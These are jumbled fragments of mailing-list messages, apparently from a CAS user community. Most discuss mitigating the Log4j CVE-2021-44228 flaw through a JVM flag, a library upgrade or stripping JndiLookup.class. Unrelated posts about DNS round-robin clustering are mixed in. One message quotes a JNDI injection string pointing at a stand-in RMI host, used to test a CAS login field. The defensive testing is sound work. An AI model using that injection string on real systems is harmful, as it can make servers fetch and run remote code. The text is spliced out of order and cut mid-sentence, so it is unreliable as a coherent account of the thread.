Using a new enough version of the JDK might also alleviate it? The other
option is to throw the config option at the JDK to stop it from
happening. That would seem to be easiest.
On 12/10/21 12:36 PM, King, Robert wrote:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
Has
Maybe? The one that I've seen
https://logging.apache.org/log4j/2.x/security.html
says set it as a system property, so -Dlog4j2.formatMsgNoLookups=true to
your JVM and not in the config file.
On 12/10/21 12:55 PM, Mike Osterman wrote:
Yeah, it seems like setting the log4j2.formatMsgNoLookups
Baba,
We use round robin with 4 cas servers and use hazelcast for ticket storage.
Round robin is managed by the load balancer in prod.
Whatever you use for ticket storage has to be fast enough so that the second
server knows about the tickets before they are validated by the services.
On my
Hello, due the recent discovered log4j2 vulnerability, whats the way to
mitigate it?
should i add log4j2.formatMsgNoLookups=true to the cas.properties file?
Thanks in Advance,
Manuel.
--
- Website: https://apereo.github.io/cas
- Gitter Chatroom: https://gitter.im/apereo/cas
- List
I've rebuilt CAS with log4j 2.15.0 and confirmed that doing so stopped
outgoing connections when a line like
${jndi:rmi://www.example.com:80/test}
was submitted in the username field (I used a real hostname rather than
www.example.com).
We were able to verify this fix with tcpdump on the CAS
Yeah, it seems like setting the log4j2.formatMsgNoLookups to "true" in
the log4j2.xml config file might do to trick.
I'm guessing we'd do that somewhere here at the top?
/etc/cas/logs
On Fri, Dec 10, 2021 at 10:41 AM 'Richard Frovarp' via CAS Community <
Just rolled out this mitigation to our servers, seems to be effective for CAS
6.3.x builds.
Our environment for reference:
- Standalone Tomcat
- OpenJDK
- CAS and CAS-Management as deployed jars
- CAS and CAS-Mangement built from cas-overlay and cas-management-overlay repos.
Mitigated by
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
Has anyone attempted to mitigate this CVE yet?
There seems to be two possible approaches to mitigation:
1 The sledgehammer approach of removing the JndiLookup.class from the jar files:
zip -q -d log4j-core-*.jar
I want to set up a high availability solution for my CAS servers and i want
some solutions for that i want to use DNS round Robin
*cluster (cas1.myorganisation.edu cas2.myorganisation.edu)
*DNS round robin
If you already implement it i need your help please.
--
- Website:
